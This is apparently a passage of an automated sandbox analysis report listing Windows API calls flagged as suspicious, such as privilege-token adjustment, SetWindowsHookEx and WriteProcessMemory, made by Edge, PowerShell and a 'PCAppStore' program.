N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\PcAppStore.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A
N/A N/A C:\Users\Admin\PCAppStore\nwjs\NW_store.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3472 wrote to memory of 3500 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 3500 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3472 wrote to memory of 1892 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
